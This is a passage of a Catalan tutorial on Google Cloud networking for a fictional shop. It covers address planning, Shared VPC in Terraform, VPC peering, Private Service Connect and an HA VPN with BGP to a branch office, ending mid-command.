La xarxa d'AlpinaShop es va dissenyar a 03-01 per a una situació que ja no existeix. Hi havia un projecte que importava, una aplicació a servir i una VPC amb dues subxarxes. Va funcionar perfectament durant quatre mòduls.
Avui la fotografia és una altra. Hi ha quatre projectes —alpinashop-prod, alpinashop-dev, alpinashop-datos i alpinashop-cicd— cadascun amb la seva pròpia VPC, sense saber res dels altres. La Lucía necessita que les seves consultes de BigQuery arribin a la rèplica alpinashop-pedidos-replica-informes, que viu en un altre projecte. El servei de Cloud Run que es va desplegar a 07-02 hauria de parlar amb Cloud SQL per IP privada en lloc de pel connector. La passarel·la de pagament exigeix que les peticions arribin des d'una IP fixa. I DA-004 va deixar compromès un túnel cap a l'ERP MySQL de la botiga de Sabadell que encara no existeix.
A més hi ha un risc que ningú no ha mirat: si demà es filtren les credencials de sa-informes-nocturnos, aquell compte pot llegir tot el dataset alpinashop_analitica i copiar-lo a un bucket de qualsevol altre projecte de Google Cloud del món. IAM autoritza la lectura; res no impedeix la sortida.
Aquesta lliçó resol les cinc coses. En acabar sabràs quan una VPC en un projecte deixa de bastar, dissenyaràs la VPC compartida d'AlpinaShop, distingiràs aparellament de xarxa compartida amb criteri, connectaràs la botiga de Sabadell amb Cloud VPN HA pas a pas entenent el BGP de debò, publicaràs i consumiràs serveis per IP privada amb Private Service Connect, aixecaràs un perímetre de VPC Service Controls al voltant de les dades, i sabràs diagnosticar una fallada de xarxa amb eines en lloc d'amb intuïció.
I sabràs on s'amaga la part de la factura que ningú no mira: el trànsit.
Contingut
- Quan una VPC en un projecte deixa de bastar
- El disseny d'adreçament de tota l'organització
- VPC compartida: projecte amfitrió i projectes de servei
- Implementar la VPC compartida d'AlpinaShop
- Aparellament de VPC: com funciona i què no fa
- Taula de decisió: compartida, aparellament o interconnexió
- Private Service Connect: serveis per IP privada
- Connectivitat híbrida: les tres opcions per arribar a Sabadell
- Cloud VPN HA pas a pas
- Cloud Router, BGP i l'encaminament dinàmic de debò
- Anunci de rutes i els errors que trenquen la connectivitat
- Network Connectivity Center: la topologia radial gestionada
- Controls de servei de VPC: el perímetre contra l'exfiltració
- Diagnòstic de xarxa: Network Intelligence Center i una fallada real
- Nivells de servei Premium i Estàndard
- El cost del trànsit: on s'amaga la factura
- Quan una VPC en un projecte deixa de bastar
Una VPC en un sol projecte és la resposta correcta durant més temps del que la gent es pensa. Aquests són els senyals concrets que se li ha quedat curta:
| Senyal | Què el provoca | Què el resol |
|---|---|---|
| Diversos projectes que necessiten parlar-se per IP privada | Separació per entorn o per equip | VPC compartida o aparellament |
| El mateix disseny de xarxa replicat a mà en tres projectes | Copiar i enganxar subxarxes i regles | VPC compartida |
| Ningú no sap quines regles de tallafoc hi ha en total | Tallafoc repartit entre projectes | VPC compartida |
| Cal arribar a un sistema fora de Google Cloud | Un ERP, un mainframe, una oficina | VPN o Interconnect |
| Cal consumir un servei d'un tercer sense sortir a internet | SaaS, socis | Private Service Connect |
| Preocupa que algú copiï les dades a fora | Credencials filtrades, error humà | VPC Service Controls |
| Els rangs IP comencen a xocar | Ningú no en portava el registre | Un pla d'adreçament |
AlpinaShop marca sis dels set. És el moment.
Però abans de tocar res, cal fer el que gairebé ningú no fa i evita el 80 % dels problemes futurs.
- El disseny d'adreçament de tota l'organització
Un pla d'adreçament és un full de càlcul amb quin rang fa servir cada cosa. Sona trivial. És el que separa una xarxa que creix d'una xarxa que cal refer.
La regla que ho governa tot:
Dos rangs que puguin arribar a connectar-se alguna vegada no es poden encavalcar. Mai. Sota cap circumstància.
I és més estricte del que sembla, perquè «alguna vegada» inclou: una fusió d'empreses, un proveïdor que es connecta per VPN, un núvol secundari, una oficina nova, un soci amb qui s'aparellen xarxes. Quan dos rangs s'encavalquen, no hi ha configuració que ho arregli: cal renumerar una de les dues xarxes, amb aturada de servei.
El pla d'AlpinaShop, dissenyat amb marge per a deu anys:
| Bloc | Rang | Ús | Estat |
|---|---|---|---|
10.10.0.0/16 |
65.536 IP | Google Cloud, europe-west1 |
En ús |
10.10.0.0/24 |
256 | sn-web-euw1 — càrregues web |
En ús |
10.10.1.0/24 |
256 | sn-datos-euw1 — bases de dades |
En ús |
10.10.2.0/24 |
256 | sn-dev-euw1 — desenvolupament |
Nova |
10.10.3.0/24 |
256 | sn-datos-analitica-euw1 |
Nova |
10.10.8.0/22 |
1.024 | Rang secundari per a pods de GKE | Reservat |
10.10.12.0/24 |
256 | Rang secundari per a serveis de GKE | Reservat |
10.10.16.0/24 |
256 | Subxarxa de només proxy (balancejadors interns) | Reservat |
10.10.20.0/24 |
256 | Cloud Run — VPC directa | Nova |
10.10.240.0/20 |
4.096 | Accés a serveis privats (Cloud SQL, Memorystore) | En ús |
10.20.0.0/16 |
65.536 | Google Cloud, europe-southwest1 (Madrid) |
Reservat, sense usar |
192.168.10.0/24 |
256 | Botiga de Sabadell — xarxa local | Existent |
192.168.20.0/24 |
256 | Oficina central | Existent |
172.16.0.0/12 |
— | Prohibit: el fa servir Docker per defecte | Bloquejat |
Quatre decisions que mereixen explicació:
- Reservar
10.20.0.0/16per a una segona regió encara que no es faci servir. Costa zero. El dia que 07-06 exigeixi multiregió, el rang és lliure i no cal negociar amb ningú. - Els rangs secundaris de GKE es reserven encara que el clúster es retiri. Els rangs de pods són enormes i devorar-los per sorpresa és un clàssic.
10.10.240.0/20per a accés a serveis privats. Quan crees una instància de Cloud SQL amb IP privada, Google necessita un rang dins de la teva VPC que et «treu» per al seu ús. Si no ho planifiques, te n'assigna un i després xoca amb alguna cosa.- Prohibir
172.16.0.0/12explícitament. És el rang que fa servir Docker per defecte per a les seves xarxes pont. Qualsevol contenidor que faci servir aquell rang internament no podrà abastar una IP de la VPC en aquell mateix rang. És una tarda perduda garantida.
Consell: aquest pla viu al repositori
alpinashop-infracom a fitxerDIRECCIONAMIENTO.mdi es revisa al mateix pull request que crea la subxarxa. Un pla que és al full de càlcul d'algú no és un pla.
- VPC compartida: projecte amfitrió i projectes de servei
La VPC compartida (abans XPN, sigles que sobreviuen en algunes comandes i rols) permet que una VPC definida en un projecte sigui usada per recursos d'altres projectes.
flowchart TB
subgraph HOST["Projecte AMFITRIÓ: alpinashop-red (carpeta compartido)"]
VPC["alpinashop-vpc"]
S1["sn-web-euw1<br/>10.10.0.0/24"]
S2["sn-datos-euw1<br/>10.10.1.0/24"]
S3["sn-dev-euw1<br/>10.10.2.0/24"]
FW["Regles fw-*"]
RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
VPC --- S1 & S2 & S3 & FW & RT
end
subgraph SVC["Projectes de servei"]
P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
P2["alpinashop-dev<br/>VM de proves"]
P3["alpinashop-datos<br/>BigQuery, Dataflow"]
end
S1 -.->|"usa"| P1
S3 -.->|"usa"| P2
S2 -.->|"usa"| P3
style HOST fill:#e8f0fe,stroke:#4285f4
La idea central, i és elegant:
La xarxa viu en un lloc. Els recursos viuen en un altre. La facturació i els permisos segueixen els recursos.
Una VM d'alpinashop-prod amb una IP de sn-web-euw1 es factura a alpinashop-prod, l'administren els permisos d'alpinashop-prod, i el seu trànsit obeeix les regles de tallafoc que són a alpinashop-red. Pot parlar amb una VM d'alpinashop-dev per IP privada perquè són a la mateixa VPC, encara que siguin projectes diferents.
Qui administra què
Aquest repartiment és la raó de ser de la VPC compartida i la part que cal entendre:
| Tasca | Qui | Rol |
|---|---|---|
| Crear la VPC i les subxarxes | Equip de xarxa (la Marta) al projecte amfitrió | roles/compute.networkAdmin a l'amfitrió |
| Crear i modificar regles de tallafoc | Equip de xarxa a l'amfitrió | roles/compute.securityAdmin a l'amfitrió |
| Configurar Cloud Router, NAT, VPN | Equip de xarxa a l'amfitrió | roles/compute.networkAdmin |
| Vincular un projecte de servei | Administrador de la VPC compartida | roles/compute.xpnAdmin a nivell d'organització o carpeta |
| Crear una VM en una subxarxa | Equip de desenvolupament al seu projecte | roles/compute.networkUser sobre la subxarxa concreta |
| Desplegar Cloud Run amb VPC directa | Equip de desenvolupament | roles/compute.networkUser sobre la subxarxa |
Els dos rols que cal memoritzar:
compute.xpnAdmin: qui pot vincular i desvincular projectes de servei. És un rol d'organització o carpeta, no de projecte. Molt poderós: es dona a una o dues persones.compute.networkUser: qui pot fer servir una xarxa o subxarxa. Es pot donar sobre la xarxa sencera (mala idea) o sobre una subxarxa concreta (el correcte).
Aquesta granularitat és la joia del model:
El Dani pot desplegar a
sn-dev-euw1perquègcp-desarrollo@ténetworkUsersobre aquella subxarxa. No pot desplegar asn-datos-euw1, perquè no el té. Ni tan sols pot veure aquella subxarxa. I no pot tocar cap regla de tallafoc.
És separació de funcions (03-04) aplicada a la xarxa, i s'hereta automàticament per projecte nou si es gestiona amb Terraform.
El que es guanya i el que es paga
| Avantatge | Detall |
|---|---|
| Una sola xarxa per entendre | Un mapa, un pla d'adreçament, una llista de regles |
| Tallafoc centralitzat | Totes les regles en un lloc, auditables d'una ullada |
| Sense aparellaments ni túnels interns | Els projectes es parlen perquè són a la mateixa xarxa |
| Un sol Cloud NAT, un sol Cloud Router, una sola VPN | Es configura una vegada i serveix a tothom |
| Separació de funcions real | Xarxa centralitzada, còmput distribuït |
| Menys IP malbaratades | Un sol pla d'adreçament |
| Inconvenient | Detall |
|---|---|
| Colls d'ampolla organitzatius | Cada subxarxa nova passa per l'equip de xarxa |
| Radi d'explosió més gran | Un error en una regla de tallafoc de l'amfitrió afecta a tothom |
| Quotes compartides | Les quotes de xarxa són del projecte amfitrió |
| Corba d'aprenentatge de permisos | Cal entendre els dos rols i on s'apliquen |
| No creua organitzacions | Amfitrió i servei han de ser a la mateixa organització |
Per a AlpinaShop, amb una persona de xarxa i tres projectes, la centralització és exactament el que vol: la Marta governa la xarxa, el Dani i la Lucía consumeixen subxarxes sense poder trencar-se entre ells.
- Implementar la VPC compartida d'AlpinaShop
Es fa en Terraform, com tot des de 06-07. Però primer la comanda equivalent, per entendre què passa.
Pas 1: crear el projecte amfitrió
La decisió de disseny més important: la xarxa va a un projecte propi, alpinashop-red, a la carpeta compartido. No a alpinashop-prod.
Per què? Perquè si la xarxa viu a producció, tothom qui necessiti tocar una subxarxa de desenvolupament necessita permisos al projecte de producció. El projecte amfitrió queda gairebé buit —només xarxa— i això és una virtut: la seva llista de permisos és curta i auditable.
gcloud projects create alpinashop-red \
--folder=FOLDER_ID_COMPARTIDO \
--name="AlpinaShop Red"
gcloud beta billing projects link alpinashop-red \
--billing-account=BILLING_ACCOUNT_ID
gcloud services enable compute.googleapis.com --project=alpinashop-redPas 2: habilitar l'amfitrió i vincular els projectes de servei
# Convertir alpinashop-red en projecte amfitrio
gcloud compute shared-vpc enable alpinashop-red
# Vincular els tres projectes de servei
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done
# Verificar
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-redFixa't que alpinashop-cicd no es vincula: Cloud Build no necessita IP privada a la VPC per construir imatges, i cada vinculació és superfície que no cal.
Pas 3: les subxarxes amb permisos granulars, en Terraform
# projecte amfitrio: alpinashop-red
resource "google_compute_network" "alpinashop" {
project = "alpinashop-red"
name = "alpinashop-vpc"
auto_create_subnetworks = false # SEMPRE false: control total de l adrecament
routing_mode = "GLOBAL" # les rutes apreses per BGP es propaguen a totes les regions
}
resource "google_compute_subnetwork" "web" {
project = "alpinashop-red"
name = "sn-web-euw1"
ip_cidr_range = "10.10.0.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true # arribar a les API de Google sense IP publica (03-01)
log_config {
aggregation_interval = "INTERVAL_10_MIN"
flow_sampling = 0.5 # 50% de mostreig: equilibri cost/visibilitat
metadata = "INCLUDE_ALL_METADATA"
}
}
resource "google_compute_subnetwork" "datos" {
project = "alpinashop-red"
name = "sn-datos-euw1"
ip_cidr_range = "10.10.1.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
resource "google_compute_subnetwork" "dev" {
project = "alpinashop-red"
name = "sn-dev-euw1"
ip_cidr_range = "10.10.2.0/24"
region = "europe-west1"
network = google_compute_network.alpinashop.id
private_ip_google_access = true
}
# --- Permisos granulars per subxarxa ---
# L equip de desenvolupament NOMES pot fer servir la subxarxa de desenvolupament
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.dev.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}
# El compte de servei de Cloud Run necessita la subxarxa web per a VPC directa
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.web.name
role = "roles/compute.networkUser"
member = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}
# L equip de dades NOMES la subxarxa de dades
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
project = "alpinashop-red"
region = "europe-west1"
subnetwork = google_compute_subnetwork.datos.name
role = "roles/compute.networkUser"
member = "group:[email protected]"
}Dos detalls amb conseqüències:
routing_mode = "GLOBAL". Amb encaminament regional, les rutes que el Cloud Router aprèn per BGP aeurope-west1només s'anuncien a aquella regió. Si demà hi ha recursos aeurope-southwest1, no arribaran a Sabadell. Canviar-ho després obliga a reiniciar les sessions BGP. Posa'l global des del principi.- El compte
serverless-robot-prodés l'agent de servei de Cloud Run. Quan un servei serverless fa servir VPC directa en una VPC compartida, és aquell compte, no el teu, el que necessitanetworkUser. És un permís que ningú no endevina i produeix un error críptic en desplegar.
Pas 4: moure el que ja existia
Aquí ve la veritat incòmoda:
Una VM no es pot moure d'una VPC a una altra. Cal recrear-la a la xarxa nova.
La migració d'AlpinaShop, per sort, és senzilla gràcies al que ja s'ha fet:
| Recurs | Com es mou | Interrupció |
|---|---|---|
Cloud Run alpinashop-web |
Actualitzar --network i --subnet. Crea revisió nova |
Cap: repartiment de trànsit |
Cloud SQL alpinashop-pedidos |
Requereix reconfigurar l'accés a serveis privats | Finestra planificada |
alpinashop-cluster (GKE) |
No es pot migrar: cal recrear el clúster | Ja no té producció (07-02) |
| Balancejador i Cloud Armor | Són globals, no depenen de la VPC | Cap |
| Cloud NAT i router | Es recreen a l'amfitrió | Cap si es fa abans |
Que la migració a VPC compartida sigui fàcil és un dividend directe d'haver mogut el catàleg a Cloud Run. Amb el MIG, caldria recrear les VM.
- Aparellament de VPC: com funciona i què no fa
L'aparellament de VPC (VPC peering) connecta dues VPC perquè els seus recursos es parlin per IP privada, sense compartir administració.
# Costat A
gcloud compute networks peerings create vpc-a-hacia-b \
--network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b
# Costat B: TAMBE S HA DE FER. L aparellament no existeix fins que tots dos el creen
gcloud compute networks peerings create vpc-b-hacia-a \
--network=vpc-b --peer-project=proyecto-a --peer-network=vpc-aCaracterístiques:
- Trànsit per la xarxa interna de Google: baixa latència, gran amplada de banda.
- Sense cost per l'aparellament en si (el trànsit entre zones o regions sí que es paga).
- Funciona entre organitzacions diferents, a diferència de la VPC compartida.
- Cada costat manté el seu tallafoc i la seva administració.
I aquí les tres limitacions que defineixen quan serveix i quan no.
Limitació 1: no és transitiu
És la limitació més important i la que més gent descobreix tard.
flowchart LR
A["VPC A<br/>10.1.0.0/16"] <-->|"aparellament"| B["VPC B<br/>10.2.0.0/16"]
B <-->|"aparellament"| C["VPC C<br/>10.3.0.0/16"]
A -.->|"NO HI HA CONNECTIVITAT"| C
style A fill:#e8f0fe
style C fill:#fce8e6
Si A s'aparella amb B, i B amb C, A no pot parlar amb C. Ni afegint rutes, ni amb un proxy a B (això ja no és aparellament). Per a N xarxes que hagin de parlar-se totes amb totes calen N×(N−1)/2 aparellaments: 3 xarxes en són 3, 5 xarxes en són 10, 10 xarxes en són 45. Deixa de ser gestionable ràpid — i aquest és exactament el problema que resol Network Connectivity Center (apartat 12).
La conseqüència pràctica més habitual: una VPC aparellada no pot abastar a través teu la teva VPN a les oficines. És un cas que apareix constantment i sorprèn sempre.
Limitació 2: els rangs no es poden encavalcar
Si A fa servir 10.1.0.0/16 i C també, no es poden aparellar mai. I no hi ha NAT que valgui a l'aparellament. És el motiu de l'apartat 2.
Limitació 3: quotes agregades
Les rutes, regles de reenviament i adreces internes se sumen entre xarxes aparellades a efectes de quota. En xarxes grans això esdevé un límit real.
Control fi: què s'anuncia
Per defecte només s'intercanvien les rutes de les subxarxes. Es pot afinar:
gcloud compute networks peerings update vpc-a-hacia-b \
--network=vpc-a \
--export-custom-routes \ # exportar rutes estatiques i apreses per BGP
--import-custom-routes # importar les de l altre costat--export-custom-routes és el que permet que l'altra VPC abasti, per exemple, la xarxa de Sabadell a través de la teva VPN. Està desactivat per defecte i és la causa número u de «l'aparellament està establert però no hi arribo».
- Taula de decisió: compartida, aparellament o interconnexió
| Criteri | VPC compartida | Aparellament de VPC | Network Connectivity Center |
|---|---|---|---|
| Administració de la xarxa | Centralitzada | Independent a cada costat | Centralitzada (radial) |
| Mateixa organització? | Obligatori | No cal | Habitualment sí |
| Transitivitat | Total (és una sola xarxa) | No | Sí, via l'eix |
| Rangs encavalcats | Impossibles per disseny | Prohibits | Prohibits |
| Regles de tallafoc | Unes, a l'amfitrió | Unes per VPC | Per radi |
| Escala | Centenars de projectes de servei | Es degrada amb N² | Centenars de radis |
| Cost | Sense cost addicional | Sense cost addicional | Per radi i hora |
| Cas típic | Una empresa, diversos equips | Dues empreses, un soci, un SaaS | Moltes xarxes i seus |
| AlpinaShop | Sí, és l'elecció | Només si apareix un soci | No cal |
La regla de decisió:
Els projectes són meus i vull una sola xarxa per governar? → VPC compartida. L'altra xarxa és d'algú altre, o necessito administracions separades? → Aparellament. Tinc més de cinc xarxes i seus que s'han de parlar totes? → Network Connectivity Center.
- Private Service Connect: serveis per IP privada
Private Service Connect (PSC) resol un problema diferent: consumir un servei per una IP privada de la teva pròpia VPC, sense aparellar xarxes i sense exposar res a internet.
Té tres usos, i convé distingir-los:
Ús 1: accedir a les API de Google per una IP privada teva
A 03-01 es va activar Private Google Access, que permet a una VM sense IP pública arribar a storage.googleapis.com fent servir el rang 199.36.153.8/30. Funciona, però el destí continua sent una IP de Google.
Amb PSC crees un extrem amb una IP del teu propi rang:
# Reservar una IP interna per a l extrem
gcloud compute addresses create psc-apis-google \
--global --purpose=PRIVATE_SERVICE_CONNECT \
--addresses=10.10.250.10 \
--network=alpinashop-vpc \
--project=alpinashop-red
# Crear l extrem cap a totes les API de Google
gcloud compute forwarding-rules create psc-apis-google \
--global \
--network=alpinashop-vpc \
--address=psc-apis-google \
--target-google-apis-bundle=all-apis \
--project=alpinashop-redA partir d'aquí, 10.10.250.10 és el punt d'accés a les API de Google. Amb un registre DNS privat (*.googleapis.com → 10.10.250.10) tot el trànsit a les API hi passa.
Què es guanya davant de Private Google Access? Tres coses concretes:
- Funciona des de fora de la VPC: des de Sabadell, a través del túnel VPN, una màquina pot arribar a
10.10.250.10i fer servir Cloud Storage. Amb Private Google Access, no. Aquest és el motiu principal. - Una IP teva que pots controlar amb tallafoc i veure als Flow Logs.
- És requisit habitual quan hi ha VPC Service Controls, amb el paquet
vpc-scen lloc d'all-apis.
Ús 2: consumir un servei publicat per un tercer
Un SaaS —una plataforma de dades, un proveïdor de pagaments— publica el seu servei com a PSC. Tu crees un extrem a la teva VPC amb una IP teva, i consumeixes el servei sense sortir a internet, sense VPN i sense aparellar xarxes:
gcloud compute forwarding-rules create psc-proveedor-pagos \
--region=europe-west1 \
--network=alpinashop-vpc \
--address=10.10.250.20 \
--target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagosAvantatge decisiu sobre l'aparellament: no es comparteixen rangs ni rutes. El proveïdor no veu la teva xarxa i tu no veus la seva. Només s'exposa el servei concret. Per això PSC ha substituït l'aparellament com a forma estàndard de connectar amb proveïdors.
Ús 3: publicar el teu propi servei
Simètricament, AlpinaShop podria publicar la seva API de socis darrere d'un balancejador intern i exposar-la com a service attachment perquè les botigues associades la consumeixin des de les seves pròpies VPC.
flowchart LR
subgraph CONS["VPC del consumidor"]
EP["Extrem PSC<br/>10.50.0.5"]
end
subgraph PROD["VPC d AlpinaShop"]
SA["Service attachment"] --> ILB["Balancejador intern"] --> API["API de socis"]
end
EP -->|"xarxa de Google, IP privada"| SA
Comparació de les formes d'accés privat
| Mecanisme | Per a què | IP de destí |
|---|---|---|
| Private Google Access | VM sense IP pública → API de Google | De Google (199.36.153.8/30) |
| Private Service Connect | Qualsevol → API de Google o serveis de tercers | Teva |
| Accés a serveis privats | Cloud SQL, Memorystore amb IP privada | Del rang que vas cedir (10.10.240.0/20) |
| Aparellament | VPC ↔ VPC completes | De l'altre costat |
- Connectivitat híbrida: les tres opcions per arribar a Sabadell
DA-004 va comprometre un enllaç privat amb la botiga. Hi ha tres maneres.
| Cloud VPN HA | Partner Interconnect | Dedicated Interconnect | |
|---|---|---|---|
| Mitjà | Internet, xifrat IPsec | Proveïdor de serveis | Fibra física pròpia |
| Amplada de banda | Fins a 3 Gbps per túnel (típic 1,5-3) | 50 Mbps – 50 Gbps | 10 o 100 Gbps per enllaç |
| Latència | La d'internet + xifratge | Baixa i estable | La més baixa i estable |
| SLA | 99,99 % amb configuració HA | 99,9 % o 99,99 % segons topologia | 99,9 % o 99,99 % segons topologia |
| Termini de posada en marxa | Minuts | Dies o setmanes | Setmanes o mesos |
| Cost mensual | De l'ordre de desenes de € per túnel | Centenars a milers de € | Milers de € + instal·lació |
| Xifratge | IPsec, inclòs | No per defecte (s'hi afegeix MACsec o VPN a sobre) | No per defecte |
| Requereix presència física | No | Al proveïdor | En un punt d'interconnexió de Google |
| Quan | Fins a ~3 Gbps, arrencada ràpida | Amplada mitjana, sense presència física | Molt volum, latència crítica |
Per a AlpinaShop la decisió no té discussió. El trànsit previst són unes taules d'estoc cada 10 minuts i uns centenars de comandes al dia: kilobytes, no gigabytes. Contractar un Interconnect per a això seria com llogar un tràiler per portar la compra. Cloud VPN HA, en minuts i per desenes d'euros al mes.
Un apunt sobre quan canviaria: si calgués replicar contínuament una base de dades gran, si el volum superés de manera sostinguda 1-2 Gbps, o si la latència d'internet fos inacceptable per a un procés interactiu. Cap no s'aplica.
- Cloud VPN HA pas a pas
Cloud VPN HA (alta disponibilitat) és la versió amb SLA del 99,99 %. La diferència amb la VPN clàssica:
| VPN clàssica (obsoleta) | Cloud VPN HA | |
|---|---|---|
| Interfícies de la passarel·la | 1 | 2, amb IP públiques diferents |
| Túnels mínims | 1 | 2 |
| Encaminament | Estàtic o dinàmic | Dinàmic amb BGP obligatori |
| SLA | 99,9 % | 99,99 % amb dos túnels a dos dispositius |
Per aconseguir el 99,99 % calen dos túnels des de les dues interfícies de la passarel·la de Google cap a dos dispositius (o almenys dues IP) de l'altre costat. Amb un sol dispositiu a Sabadell s'aconsegueix 99,9 %, que per a una botiga és més que suficient.
flowchart LR
subgraph GCP["Google Cloud - alpinashop-red"]
GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
CR["alpinashop-router-euw1<br/>ASN 65001"]
VPC["alpinashop-vpc<br/>10.10.0.0/16"]
GW --- CR --- VPC
end
subgraph SAB["Botiga de Sabadell"]
FW["Router/tallafoc<br/>IP pública 88.x.x.x<br/>ASN 65010"]
LAN["LAN 192.168.10.0/24"]
ERP["ERP MySQL<br/>192.168.10.20"]
FW --- LAN --- ERP
end
GW <-->|"túnel 0 - IPsec"| FW
GW <-->|"túnel 1 - IPsec"| FW
Pas 1: la passarel·la VPN HA
gcloud compute vpn-gateways create alpinashop-vpn-gw \
--network=alpinashop-vpc \
--region=europe-west1 \
--project=alpinashop-red
gcloud compute vpn-gateways describe alpinashop-vpn-gw \
--region=europe-west1 --format="get(vpnInterfaces)"Google assigna dues IP públiques, una per interfície. S'apunten: són les que cal configurar al router de Sabadell.
Pas 2: la passarel·la de l'altre costat
Google necessita saber com és el dispositiu remot:
gcloud compute external-vpn-gateways create gw-sabadell \
--interfaces=0=88.20.145.7 \
--project=alpinashop-red--interfaces=0=IP declara un dispositiu. Si a Sabadell hi hagués dos routers, seria 0=IP_A,1=IP_B i s'assoliria el 99,99 %.
Pas 3: el Cloud Router
gcloud compute routers create alpinashop-router-euw1 \
--network=alpinashop-vpc \
--region=europe-west1 \
--asn=65001 \
--advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--project=alpinashop-red--asn=65001: número de sistema autònom de Google en aquesta sessió BGP. Es fa servir el rang privat 64512-65534.--advertisement-mode=custom: control explícit del que s'anuncia. Ambdefaults'anuncien totes les subxarxes automàticament;customobliga a decidir, que és el correcte (apartat 11).
Si el router ja existeix pel Cloud NAT de 03-01, es reutilitza: un Cloud Router serveix alhora per a NAT i per a VPN.
Pas 4: els dos túnels
SECRETO=$(openssl rand -base64 32) # i es desa a Secret Manager, no a l historial
for I in 0 1; do
gcloud compute vpn-tunnels create tunel-sabadell-$I \
--peer-external-gateway=gw-sabadell \
--peer-external-gateway-interface=0 \
--region=europe-west1 \
--ike-version=2 \
--shared-secret="$SECRETO" \
--router=alpinashop-router-euw1 \
--vpn-gateway=alpinashop-vpn-gw \
--interface=$I \
--project=alpinashop-red
done--interface=$I: cada túnel surt per una interfície diferent de la passarel·la. Aquí hi ha la redundància.--ike-version=2: IKEv2 sempre. IKEv1 només si l'equip remot és antic.--shared-secret: la clau precompartida. Ha de coincidir exactament amb la del router de Sabadell i va a Secret Manager (03-06), mai a un fitxer de Terraform.
Pas 5: les sessions BGP
Cada túnel necessita la seva sessió BGP, amb IP d'enllaç en un /30 del rang d'enllaç local 169.254.0.0/16:
for I in 0 1; do
gcloud compute routers add-interface alpinashop-router-euw1 \
--interface-name=if-tunel-$I \
--vpn-tunnel=tunel-sabadell-$I \
--ip-address=169.254.10.$((1 + I*4)) \
--mask-length=30 \
--region=europe-west1 --project=alpinashop-red
gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
--peer-name=bgp-sabadell-$I \
--interface=if-tunel-$I \
--peer-ip-address=169.254.10.$((2 + I*4)) \
--peer-asn=65010 \
--advertised-route-priority=$((100 + I*100)) \
--region=europe-west1 --project=alpinashop-red
doneAdreçament resultant:
| Túnel | IP de Google | IP de Sabadell | Prioritat |
|---|---|---|---|
| 0 | 169.254.10.1/30 | 169.254.10.2 | 100 (preferit) |
| 1 | 169.254.10.5/30 | 169.254.10.6 | 200 (reserva) |
--advertised-route-priority més baixa guanya. Amb aquestes prioritats, el túnel 0 és l'actiu i l'1 la reserva; si el 0 cau, BGP convergeix a l'1 en segons. Per a actiu-actiu es posaria la mateixa prioritat als dos i el trànsit es repartiria per ECMP.
Pas 6: tallafoc i verificació
gcloud compute firewall-rules create fw-permitir-desde-sabadell \
--network=alpinashop-vpc \
--direction=INGRESS \
--action=allow \
--rules=tcp:3306,icmp \
--source-ranges=192.168.10.0/24 \
--target-tags=acceso-erp \
--project=alpinashop-red
# Estat dels tunels: es busca "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
--format="table(name,status,detailedStatus)"
# Estat del BGP: es busca "UP" i les rutes apreses
gcloud compute routers get-status alpinashop-router-euw1 \
--region=europe-west1 --project=alpinashop-red \
--format="yaml(result.bgpPeerStatus)"La sortida bona té aquest aspecte:
result:
bgpPeerStatus:
- name: bgp-sabadell-0
state: Established
status: UP
numLearnedRoutes: 1
advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
learnedRoutes:
- destIpRange: 192.168.10.0/24numLearnedRoutes: 1 i 192.168.10.0/24 a learnedRoutes és la prova que funciona. Si el túnel està ESTABLISHED però numLearnedRoutes: 0, el problema no és la VPN: és que l'altre costat no anuncia res per BGP.
- Cloud Router, BGP i l'encaminament dinàmic de debò
Val la pena entendre què està passant, perquè gairebé totes les fallades de connectivitat híbrida són d'encaminament i no del túnel.
BGP (Border Gateway Protocol) és el protocol amb el qual dues xarxes s'expliquen quins destins saben abastar. Cada xarxa té un identificador, l'ASN, i anuncia els seus prefixos.
| Concepte | Què és | A AlpinaShop |
|---|---|---|
| ASN | Identificador de la xarxa | Google: 65001. Sabadell: 65010 |
| Sessió BGP | Conversa TCP:179 entre dos routers | Una per túnel |
| Ruta anunciada | «Jo sé arribar a X» | Google anuncia 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24 |
| Ruta apresa | El que l'altre anuncia | Google aprèn 192.168.10.0/24 |
| Prioritat / MED | Preferència entre camins | 100 vs 200 |
La diferència amb l'encaminament estàtic és la que justifica tot l'aparell:
| Estàtic | Dinàmic (BGP) | |
|---|---|---|
| Rutes noves | S'afegeixen a mà als dos costats | S'anuncien soles |
| Caiguda d'un túnel | El trànsit continua anant al túnel mort | Convergeix a l'altre en segons |
| Subxarxa nova a GCP | Editar el router remot | S'anuncia sola |
| Escala | Es torna immanejable | Bé |
El cas que ho fa evident: quan la Marta creï sn-run-euw1 (10.10.20.0/24) per a la VPC directa de Cloud Run, el Cloud Router l'anunciarà automàticament a Sabadell i l'ERP hi podrà respondre sense que ningú toqui el router de la botiga. Amb rutes estàtiques, caldria trucar al proveïdor de la botiga cada vegada.
I el detall que s'oblida: l'encaminament global de l'apartat 4. Amb routing_mode = REGIONAL, un Cloud Router d'europe-west1 només anuncia subxarxes d'europe-west1. Amb GLOBAL, les anuncia totes.
- Anunci de rutes i els errors que trenquen la connectivitat
Amb --advertisement-mode=custom es decideix exactament què s'anuncia. Casos habituals:
# Anunciar les subxarxes MES un rang que no es una subxarxa
# (per exemple el rang d acces a serveis privats on viu Cloud SQL)
gcloud compute routers update alpinashop-router-euw1 \
